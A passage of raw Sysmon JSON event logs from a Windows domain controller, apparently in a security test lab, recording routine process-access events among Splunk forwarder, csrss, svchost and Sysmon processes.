Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4269-5F2D-0000-00103F530A00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4269-5F2D-0000-00103F530A00}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4269-5F2D-0000-00103F530A00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4269-5F2D-0000-00103F530A00}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 